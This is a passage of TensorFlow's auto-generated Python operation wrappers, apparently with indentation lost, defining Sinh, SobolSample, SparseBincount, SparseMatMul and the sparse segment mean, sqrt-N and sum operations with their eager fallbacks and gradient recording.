Sinh = tf_export("raw_ops.Sinh")(_ops.to_raw_op(sinh))
def sinh_eager_fallback(x, name, ctx):
_attr_T, (x,) = _execute.args_to_matching_eager([x], ctx, [_dtypes.bfloat16, _dtypes.half, _dtypes.float32, _dtypes.float64, _dtypes.complex64, _dtypes.complex128, ])
_inputs_flat = [x]
_attrs = ("T", _attr_T)
_result = _execute.execute(b"Sinh", 1, inputs=_inputs_flat, attrs=_attrs,
ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"Sinh", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def sobol_sample(dim, num_results, skip, dtype=_dtypes.float32, name=None):
r"""Generates points from the Sobol sequence.
Creates a Sobol sequence with `num_results` samples. Each sample has dimension
`dim`. Skips the first `skip` samples.
Args:
dim: A `Tensor` of type `int32`.
Positive scalar `Tensor` representing each sample's dimension.
num_results: A `Tensor` of type `int32`.
Positive scalar `Tensor` of dtype int32. The number of Sobol points to return
in the output.
skip: A `Tensor` of type `int32`.
Positive scalar `Tensor` of dtype int32. The number of initial points of the
Sobol sequence to skip.
dtype: An optional `tf.DType` from: `tf.float32, tf.float64`. Defaults to `tf.float32`.
The type of the sample. One of: `float32` or `float64`.
name: A name for the operation (optional).
Returns:
A `Tensor` of type `dtype`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "SobolSample", name, dim, num_results, skip, "dtype", dtype)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return sobol_sample_eager_fallback(
dim, num_results, skip, dtype=dtype, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
if dtype is None:
dtype = _dtypes.float32
dtype = _execute.make_type(dtype, "dtype")
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"SobolSample", dim=dim, num_results=num_results, skip=skip,
dtype=dtype, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("dtype", _op._get_attr_type("dtype"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"SobolSample", _inputs_flat, _attrs, _result)
_result, = _result
return _result
SobolSample = tf_export("raw_ops.SobolSample")(_ops.to_raw_op(sobol_sample))
def sobol_sample_eager_fallback(dim, num_results, skip, dtype, name, ctx):
if dtype is None:
dtype = _dtypes.float32
dtype = _execute.make_type(dtype, "dtype")
dim = _ops.convert_to_tensor(dim, _dtypes.int32)
num_results = _ops.convert_to_tensor(num_results, _dtypes.int32)
skip = _ops.convert_to_tensor(skip, _dtypes.int32)
_inputs_flat = [dim, num_results, skip]
_attrs = ("dtype", dtype)
_result = _execute.execute(b"SobolSample", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"SobolSample", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def sparse_bincount(indices, values, dense_shape, size, weights, binary_output=False, name=None):
r"""Counts the number of occurrences of each value in an integer array.
Outputs a vector with length `size` and the same dtype as `weights`. If
`weights` are empty, then index `i` stores the number of times the value `i` is
counted in `arr`. If `weights` are non-empty, then index `i` stores the sum of
the value in `weights` at each index where the corresponding value in `arr` is
`i`.
Values in `arr` outside of the range [0, size) are ignored.
Args:
indices: A `Tensor` of type `int64`. 2D int64 `Tensor`.
values: A `Tensor`. Must be one of the following types: `int32`, `int64`.
1D int `Tensor`.
dense_shape: A `Tensor` of type `int64`. 1D int64 `Tensor`.
size: A `Tensor`. Must have the same type as `values`.
non-negative int scalar `Tensor`.
weights: A `Tensor`. Must be one of the following types: `int32`, `int64`, `float32`, `float64`.
is an int32, int64, float32, or float64 `Tensor` with the same
shape as `input`, or a length-0 `Tensor`, in which case it acts as all weights
equal to 1.
binary_output: An optional `bool`. Defaults to `False`.
bool; Whether the kernel should count the appearance or number of occurrences.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `weights`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "SparseBincount", name, indices, values, dense_shape, size,
weights, "binary_output", binary_output)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return sparse_bincount_eager_fallback(
indices, values, dense_shape, size, weights,
binary_output=binary_output, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
if binary_output is None:
binary_output = False
binary_output = _execute.make_bool(binary_output, "binary_output")
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"SparseBincount", indices=indices, values=values,
dense_shape=dense_shape, size=size, weights=weights,
binary_output=binary_output, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("Tidx", _op._get_attr_type("Tidx"), "T",
_op._get_attr_type("T"), "binary_output",
_op._get_attr_bool("binary_output"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"SparseBincount", _inputs_flat, _attrs, _result)
_result, = _result
return _result
SparseBincount = tf_export("raw_ops.SparseBincount")(_ops.to_raw_op(sparse_bincount))
def sparse_bincount_eager_fallback(indices, values, dense_shape, size, weights, binary_output, name, ctx):
if binary_output is None:
binary_output = False
binary_output = _execute.make_bool(binary_output, "binary_output")
_attr_Tidx, _inputs_Tidx = _execute.args_to_matching_eager([values, size], ctx, [_dtypes.int32, _dtypes.int64, ])
(values, size) = _inputs_Tidx
_attr_T, (weights,) = _execute.args_to_matching_eager([weights], ctx, [_dtypes.int32, _dtypes.int64, _dtypes.float32, _dtypes.float64, ])
indices = _ops.convert_to_tensor(indices, _dtypes.int64)
dense_shape = _ops.convert_to_tensor(dense_shape, _dtypes.int64)
_inputs_flat = [indices, values, dense_shape, size, weights]
_attrs = ("Tidx", _attr_Tidx, "T", _attr_T, "binary_output", binary_output)
_result = _execute.execute(b"SparseBincount", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"SparseBincount", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def sparse_mat_mul(a, b, transpose_a=False, transpose_b=False, a_is_sparse=False, b_is_sparse=False, name=None):
r"""Multiply matrix "a" by matrix "b".
The inputs must be two-dimensional matrices and the inner dimension of "a" must
match the outer dimension of "b". Both "a" and "b" must be `Tensor`s not
`SparseTensor`s. This op is optimized for the case where at least one of "a" or
"b" is sparse, in the sense that they have a large proportion of zero values.
The breakeven for using this versus a dense matrix multiply on one platform was
30% zero values in the sparse matrix.
The gradient computation of this operation will only take advantage of sparsity
in the input gradient when that gradient comes from a Relu.
Args:
a: A `Tensor`. Must be one of the following types: `float32`, `bfloat16`.
b: A `Tensor`. Must be one of the following types: `float32`, `bfloat16`.
transpose_a: An optional `bool`. Defaults to `False`.
transpose_b: An optional `bool`. Defaults to `False`.
a_is_sparse: An optional `bool`. Defaults to `False`.
b_is_sparse: An optional `bool`. Defaults to `False`.
name: A name for the operation (optional).
Returns:
A `Tensor` of type `float32`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "SparseMatMul", name, a, b, "transpose_a", transpose_a,
"transpose_b", transpose_b, "a_is_sparse", a_is_sparse, "b_is_sparse",
b_is_sparse)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return sparse_mat_mul_eager_fallback(
a, b, transpose_a=transpose_a, transpose_b=transpose_b,
a_is_sparse=a_is_sparse, b_is_sparse=b_is_sparse, name=name,
ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
if transpose_a is None:
transpose_a = False
transpose_a = _execute.make_bool(transpose_a, "transpose_a")
if transpose_b is None:
transpose_b = False
transpose_b = _execute.make_bool(transpose_b, "transpose_b")
if a_is_sparse is None:
a_is_sparse = False
a_is_sparse = _execute.make_bool(a_is_sparse, "a_is_sparse")
if b_is_sparse is None:
b_is_sparse = False
b_is_sparse = _execute.make_bool(b_is_sparse, "b_is_sparse")
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"SparseMatMul", a=a, b=b, transpose_a=transpose_a,
transpose_b=transpose_b, a_is_sparse=a_is_sparse,
b_is_sparse=b_is_sparse, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("transpose_a", _op._get_attr_bool("transpose_a"), "transpose_b",
_op._get_attr_bool("transpose_b"), "a_is_sparse",
_op._get_attr_bool("a_is_sparse"), "b_is_sparse",
_op._get_attr_bool("b_is_sparse"), "Ta",
_op._get_attr_type("Ta"), "Tb", _op._get_attr_type("Tb"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"SparseMatMul", _inputs_flat, _attrs, _result)
_result, = _result
return _result
SparseMatMul = tf_export("raw_ops.SparseMatMul")(_ops.to_raw_op(sparse_mat_mul))
def sparse_mat_mul_eager_fallback(a, b, transpose_a, transpose_b, a_is_sparse, b_is_sparse, name, ctx):
if transpose_a is None:
transpose_a = False
transpose_a = _execute.make_bool(transpose_a, "transpose_a")
if transpose_b is None:
transpose_b = False
transpose_b = _execute.make_bool(transpose_b, "transpose_b")
if a_is_sparse is None:
a_is_sparse = False
a_is_sparse = _execute.make_bool(a_is_sparse, "a_is_sparse")
if b_is_sparse is None:
b_is_sparse = False
b_is_sparse = _execute.make_bool(b_is_sparse, "b_is_sparse")
_attr_Ta, (a,) = _execute.args_to_matching_eager([a], ctx, [_dtypes.float32, _dtypes.bfloat16, ], _dtypes.float32)
_attr_Tb, (b,) = _execute.args_to_matching_eager([b], ctx, [_dtypes.float32, _dtypes.bfloat16, ], _dtypes.float32)
_inputs_flat = [a, b]
_attrs = ("transpose_a", transpose_a, "transpose_b", transpose_b,
"a_is_sparse", a_is_sparse, "b_is_sparse", b_is_sparse, "Ta", _attr_Ta,
"Tb", _attr_Tb)
_result = _execute.execute(b"SparseMatMul", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"SparseMatMul", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def sparse_segment_mean(data, indices, segment_ids, name=None):
r"""Computes the mean along sparse segments of a tensor.
See `tf.sparse.segment_sum` for usage examples.
Like `SegmentMean`, but `segment_ids` can have rank less than `data`'s first
dimension, selecting a subset of dimension 0, specified by `indices`.
Args:
data: A `Tensor`. Must be one of the following types: `bfloat16`, `float32`, `float64`.
indices: A `Tensor`. Must be one of the following types: `int32`, `int64`.
A 1-D tensor. Has same rank as `segment_ids`.
segment_ids: A `Tensor`. Must be one of the following types: `int32`, `int64`.
A 1-D tensor. Values should be sorted and can be repeated.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `data`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "SparseSegmentMean", name, data, indices, segment_ids)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return sparse_segment_mean_eager_fallback(
data, indices, segment_ids, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"SparseSegmentMean", data=data, indices=indices,
segment_ids=segment_ids, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"), "Tidx",
_op._get_attr_type("Tidx"), "Tsegmentids",
_op._get_attr_type("Tsegmentids"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"SparseSegmentMean", _inputs_flat, _attrs, _result)
_result, = _result
return _result
SparseSegmentMean = tf_export("raw_ops.SparseSegmentMean")(_ops.to_raw_op(sparse_segment_mean))
def sparse_segment_mean_eager_fallback(data, indices, segment_ids, name, ctx):
_attr_T, (data,) = _execute.args_to_matching_eager([data], ctx, [_dtypes.bfloat16, _dtypes.float32, _dtypes.float64, ])
_attr_Tidx, (indices,) = _execute.args_to_matching_eager([indices], ctx, [_dtypes.int32, _dtypes.int64, ], _dtypes.int32)
_attr_Tsegmentids, (segment_ids,) = _execute.args_to_matching_eager([segment_ids], ctx, [_dtypes.int32, _dtypes.int64, ], _dtypes.int32)
_inputs_flat = [data, indices, segment_ids]
_attrs = ("T", _attr_T, "Tidx", _attr_Tidx, "Tsegmentids",
_attr_Tsegmentids)
_result = _execute.execute(b"SparseSegmentMean", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"SparseSegmentMean", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def sparse_segment_mean_grad(grad, indices, segment_ids, output_dim0, name=None):
r"""Computes gradients for SparseSegmentMean.
Returns tensor "output" with same shape as grad, except for dimension 0 whose
value is output_dim0.
Args:
grad: A `Tensor`. Must be one of the following types: `float32`, `float64`.
gradient propagated to the SparseSegmentMean op.
indices: A `Tensor`. Must be one of the following types: `int32`, `int64`.
indices passed to the corresponding SparseSegmentMean op.
segment_ids: A `Tensor`. Must be one of the following types: `int32`, `int64`.
segment_ids passed to the corresponding SparseSegmentMean op.
output_dim0: A `Tensor` of type `int32`.
dimension 0 of "data" passed to SparseSegmentMean op.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `grad`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "SparseSegmentMeanGrad", name, grad, indices, segment_ids,
output_dim0)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return sparse_segment_mean_grad_eager_fallback(
grad, indices, segment_ids, output_dim0, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"SparseSegmentMeanGrad", grad=grad, indices=indices,
segment_ids=segment_ids,
output_dim0=output_dim0, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"), "Tidx",
_op._get_attr_type("Tidx"), "Tsegmentids",
_op._get_attr_type("Tsegmentids"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"SparseSegmentMeanGrad", _inputs_flat, _attrs, _result)
_result, = _result
return _result
SparseSegmentMeanGrad = tf_export("raw_ops.SparseSegmentMeanGrad")(_ops.to_raw_op(sparse_segment_mean_grad))
def sparse_segment_mean_grad_eager_fallback(grad, indices, segment_ids, output_dim0, name, ctx):
_attr_T, (grad,) = _execute.args_to_matching_eager([grad], ctx, [_dtypes.float32, _dtypes.float64, ])
_attr_Tidx, (indices,) = _execute.args_to_matching_eager([indices], ctx, [_dtypes.int32, _dtypes.int64, ], _dtypes.int32)
_attr_Tsegmentids, (segment_ids,) = _execute.args_to_matching_eager([segment_ids], ctx, [_dtypes.int32, _dtypes.int64, ], _dtypes.int32)
output_dim0 = _ops.convert_to_tensor(output_dim0, _dtypes.int32)
_inputs_flat = [grad, indices, segment_ids, output_dim0]
_attrs = ("T", _attr_T, "Tidx", _attr_Tidx, "Tsegmentids",
_attr_Tsegmentids)
_result = _execute.execute(b"SparseSegmentMeanGrad", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"SparseSegmentMeanGrad", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def sparse_segment_mean_with_num_segments(data, indices, segment_ids, num_segments, name=None):
r"""Computes the mean along sparse segments of a tensor.
Like `SparseSegmentMean`, but allows missing ids in `segment_ids`. If an id is
missing, the `output` tensor at that position will be zeroed.
Read
[the section on segmentation](https://tensorflow.org/api_docs/python/tf/math#Segmentation)
for an explanation of segments.
Args:
data: A `Tensor`. Must be one of the following types: `bfloat16`, `float32`, `float64`.
indices: A `Tensor`. Must be one of the following types: `int32`, `int64`.
A 1-D tensor. Has same rank as `segment_ids`.
segment_ids: A `Tensor`. Must be one of the following types: `int32`, `int64`.
A 1-D tensor. Values should be sorted and can be repeated.
num_segments: A `Tensor`. Must be one of the following types: `int32`, `int64`.
Should equal the number of distinct segment IDs.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `data`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "SparseSegmentMeanWithNumSegments", name, data, indices,
segment_ids, num_segments)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return sparse_segment_mean_with_num_segments_eager_fallback(
data, indices, segment_ids, num_segments, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"SparseSegmentMeanWithNumSegments", data=data, indices=indices,
segment_ids=segment_ids,
num_segments=num_segments,
name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"), "Tidx",
_op._get_attr_type("Tidx"), "Tnumsegments",
_op._get_attr_type("Tnumsegments"), "Tsegmentids",
_op._get_attr_type("Tsegmentids"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"SparseSegmentMeanWithNumSegments", _inputs_flat, _attrs, _result)
_result, = _result
return _result
SparseSegmentMeanWithNumSegments = tf_export("raw_ops.SparseSegmentMeanWithNumSegments")(_ops.to_raw_op(sparse_segment_mean_with_num_segments))
def sparse_segment_mean_with_num_segments_eager_fallback(data, indices, segment_ids, num_segments, name, ctx):
_attr_T, (data,) = _execute.args_to_matching_eager([data], ctx, [_dtypes.bfloat16, _dtypes.float32, _dtypes.float64, ])
_attr_Tidx, (indices,) = _execute.args_to_matching_eager([indices], ctx, [_dtypes.int32, _dtypes.int64, ], _dtypes.int32)
_attr_Tnumsegments, (num_segments,) = _execute.args_to_matching_eager([num_segments], ctx, [_dtypes.int32, _dtypes.int64, ], _dtypes.int32)
_attr_Tsegmentids, (segment_ids,) = _execute.args_to_matching_eager([segment_ids], ctx, [_dtypes.int32, _dtypes.int64, ], _dtypes.int32)
_inputs_flat = [data, indices, segment_ids, num_segments]
_attrs = ("T", _attr_T, "Tidx", _attr_Tidx, "Tnumsegments",
_attr_Tnumsegments, "Tsegmentids", _attr_Tsegmentids)
_result = _execute.execute(b"SparseSegmentMeanWithNumSegments", 1,
inputs=_inputs_flat, attrs=_attrs, ctx=ctx,
name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"SparseSegmentMeanWithNumSegments", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def sparse_segment_sqrt_n(data, indices, segment_ids, name=None):
r"""Computes the sum along sparse segments of a tensor divided by the sqrt of N.
N is the size of the segment being reduced.
See `tf.sparse.segment_sum` for usage examples.
Args:
data: A `Tensor`. Must be one of the following types: `bfloat16`, `float32`, `float64`.
indices: A `Tensor`. Must be one of the following types: `int32`, `int64`.
A 1-D tensor. Has same rank as `segment_ids`.
segment_ids: A `Tensor`. Must be one of the following types: `int32`, `int64`.
A 1-D tensor. Values should be sorted and can be repeated.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `data`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "SparseSegmentSqrtN", name, data, indices, segment_ids)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return sparse_segment_sqrt_n_eager_fallback(
data, indices, segment_ids, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"SparseSegmentSqrtN", data=data, indices=indices,
segment_ids=segment_ids, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"), "Tidx",
_op._get_attr_type("Tidx"), "Tsegmentids",
_op._get_attr_type("Tsegmentids"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"SparseSegmentSqrtN", _inputs_flat, _attrs, _result)
_result, = _result
return _result
SparseSegmentSqrtN = tf_export("raw_ops.SparseSegmentSqrtN")(_ops.to_raw_op(sparse_segment_sqrt_n))
def sparse_segment_sqrt_n_eager_fallback(data, indices, segment_ids, name, ctx):
_attr_T, (data,) = _execute.args_to_matching_eager([data], ctx, [_dtypes.bfloat16, _dtypes.float32, _dtypes.float64, ])
_attr_Tidx, (indices,) = _execute.args_to_matching_eager([indices], ctx, [_dtypes.int32, _dtypes.int64, ], _dtypes.int32)
_attr_Tsegmentids, (segment_ids,) = _execute.args_to_matching_eager([segment_ids], ctx, [_dtypes.int32, _dtypes.int64, ], _dtypes.int32)
_inputs_flat = [data, indices, segment_ids]
_attrs = ("T", _attr_T, "Tidx", _attr_Tidx, "Tsegmentids",
_attr_Tsegmentids)
_result = _execute.execute(b"SparseSegmentSqrtN", 1, inputs=_inputs_flat,
attrs=_attrs, ctx=ctx, name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"SparseSegmentSqrtN", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def sparse_segment_sqrt_n_grad(grad, indices, segment_ids, output_dim0, name=None):
r"""Computes gradients for SparseSegmentSqrtN.
Returns tensor "output" with same shape as grad, except for dimension 0 whose
value is output_dim0.
Args:
grad: A `Tensor`. Must be one of the following types: `float32`, `float64`.
gradient propagated to the SparseSegmentSqrtN op.
indices: A `Tensor`. Must be one of the following types: `int32`, `int64`.
indices passed to the corresponding SparseSegmentSqrtN op.
segment_ids: A `Tensor`. Must be one of the following types: `int32`, `int64`.
segment_ids passed to the corresponding SparseSegmentSqrtN op.
output_dim0: A `Tensor` of type `int32`.
dimension 0 of "data" passed to SparseSegmentSqrtN op.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `grad`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "SparseSegmentSqrtNGrad", name, grad, indices, segment_ids,
output_dim0)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return sparse_segment_sqrt_n_grad_eager_fallback(
grad, indices, segment_ids, output_dim0, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"SparseSegmentSqrtNGrad", grad=grad, indices=indices,
segment_ids=segment_ids,
output_dim0=output_dim0, name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"), "Tidx",
_op._get_attr_type("Tidx"), "Tsegmentids",
_op._get_attr_type("Tsegmentids"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"SparseSegmentSqrtNGrad", _inputs_flat, _attrs, _result)
_result, = _result
return _result
SparseSegmentSqrtNGrad = tf_export("raw_ops.SparseSegmentSqrtNGrad")(_ops.to_raw_op(sparse_segment_sqrt_n_grad))
def sparse_segment_sqrt_n_grad_eager_fallback(grad, indices, segment_ids, output_dim0, name, ctx):
_attr_T, (grad,) = _execute.args_to_matching_eager([grad], ctx, [_dtypes.float32, _dtypes.float64, ])
_attr_Tidx, (indices,) = _execute.args_to_matching_eager([indices], ctx, [_dtypes.int32, _dtypes.int64, ], _dtypes.int32)
_attr_Tsegmentids, (segment_ids,) = _execute.args_to_matching_eager([segment_ids], ctx, [_dtypes.int32, _dtypes.int64, ], _dtypes.int32)
output_dim0 = _ops.convert_to_tensor(output_dim0, _dtypes.int32)
_inputs_flat = [grad, indices, segment_ids, output_dim0]
_attrs = ("T", _attr_T, "Tidx", _attr_Tidx, "Tsegmentids",
_attr_Tsegmentids)
_result = _execute.execute(b"SparseSegmentSqrtNGrad", 1,
inputs=_inputs_flat, attrs=_attrs, ctx=ctx,
name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"SparseSegmentSqrtNGrad", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def sparse_segment_sqrt_n_with_num_segments(data, indices, segment_ids, num_segments, name=None):
r"""Computes the sum along sparse segments of a tensor divided by the sqrt of N.
N is the size of the segment being reduced.
Like `SparseSegmentSqrtN`, but allows missing ids in `segment_ids`. If an id is
missing, the `output` tensor at that position will be zeroed.
Read
[the section on segmentation](https://tensorflow.org/api_docs/python/tf/math#Segmentation)
for an explanation of segments.
Args:
data: A `Tensor`. Must be one of the following types: `bfloat16`, `float32`, `float64`.
indices: A `Tensor`. Must be one of the following types: `int32`, `int64`.
A 1-D tensor. Has same rank as `segment_ids`.
segment_ids: A `Tensor`. Must be one of the following types: `int32`, `int64`.
A 1-D tensor. Values should be sorted and can be repeated.
num_segments: A `Tensor`. Must be one of the following types: `int32`, `int64`.
Should equal the number of distinct segment IDs.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `data`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "SparseSegmentSqrtNWithNumSegments", name, data, indices,
segment_ids, num_segments)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return sparse_segment_sqrt_n_with_num_segments_eager_fallback(
data, indices, segment_ids, num_segments, name=name, ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
# Add nodes to the TensorFlow graph.
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"SparseSegmentSqrtNWithNumSegments", data=data, indices=indices,
segment_ids=segment_ids,
num_segments=num_segments,
name=name)
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("T", _op._get_attr_type("T"), "Tidx",
_op._get_attr_type("Tidx"), "Tnumsegments",
_op._get_attr_type("Tnumsegments"), "Tsegmentids",
_op._get_attr_type("Tsegmentids"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"SparseSegmentSqrtNWithNumSegments", _inputs_flat, _attrs, _result)
_result, = _result
return _result
SparseSegmentSqrtNWithNumSegments = tf_export("raw_ops.SparseSegmentSqrtNWithNumSegments")(_ops.to_raw_op(sparse_segment_sqrt_n_with_num_segments))
def sparse_segment_sqrt_n_with_num_segments_eager_fallback(data, indices, segment_ids, num_segments, name, ctx):
_attr_T, (data,) = _execute.args_to_matching_eager([data], ctx, [_dtypes.bfloat16, _dtypes.float32, _dtypes.float64, ])
_attr_Tidx, (indices,) = _execute.args_to_matching_eager([indices], ctx, [_dtypes.int32, _dtypes.int64, ], _dtypes.int32)
_attr_Tnumsegments, (num_segments,) = _execute.args_to_matching_eager([num_segments], ctx, [_dtypes.int32, _dtypes.int64, ], _dtypes.int32)
_attr_Tsegmentids, (segment_ids,) = _execute.args_to_matching_eager([segment_ids], ctx, [_dtypes.int32, _dtypes.int64, ], _dtypes.int32)
_inputs_flat = [data, indices, segment_ids, num_segments]
_attrs = ("T", _attr_T, "Tidx", _attr_Tidx, "Tnumsegments",
_attr_Tnumsegments, "Tsegmentids", _attr_Tsegmentids)
_result = _execute.execute(b"SparseSegmentSqrtNWithNumSegments", 1,
inputs=_inputs_flat, attrs=_attrs, ctx=ctx,
name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"SparseSegmentSqrtNWithNumSegments", _inputs_flat, _attrs, _result)
_result, = _result
return _result
def sparse_segment_sum(data, indices, segment_ids, name=None):
r"""Computes the sum along sparse segments of a tensor.
Read
[the section on segmentation](https://tensorflow.org/api_docs/python/tf/math#Segmentation)
for an explanation of segments.
Like `SegmentSum`, but `segment_ids` can have rank less than `data`'s first
dimension, selecting a subset of dimension 0, specified by `indices`.
For example:
```python
c = tf.constant([[1,2,3,4], [-1,-2,-3,-4], [5,6,7,8]])
# Select two rows, one segment.
tf.sparse_segment_sum(c, tf.constant([0, 1]), tf.constant([0, 0]))
# => [[0 0 0 0]]
# Select two rows, two segment.
tf.sparse_segment_sum(c, tf.constant([0, 1]), tf.constant([0, 1]))
# => [[ 1 2 3 4]
# [-1 -2 -3 -4]]
# Select all rows, two segments.
tf.sparse_segment_sum(c, tf.constant([0, 1, 2]), tf.constant([0, 0, 1]))
# => [[0 0 0 0]
# [5 6 7 8]]
# Which is equivalent to:
tf.segment_sum(c, tf.constant([0, 0, 1]))
```
Args:
data: A `Tensor`. Must be one of the following types: `float32`, `float64`, `int32`, `uint8`, `int16`, `int8`, `int64`, `bfloat16`, `uint16`, `half`, `uint32`, `uint64`.
indices: A `Tensor`. Must be one of the following types: `int32`, `int64`.
A 1-D tensor. Has same rank as `segment_ids`.
segment_ids: A `Tensor`. Must be one of the following types: `int32`, `int64`.
A 1-D tensor. Values should be sorted and can be repeated.
name: A name for the operation (optional).
Returns:
A `Tensor`. Has the same type as `data`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "SparseSegmentSum", name, data, indices, segment_ids)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
return sparse_segment_sum_eager_fallback(
data, indices, segment_ids, name=name, ctx=_ctx)
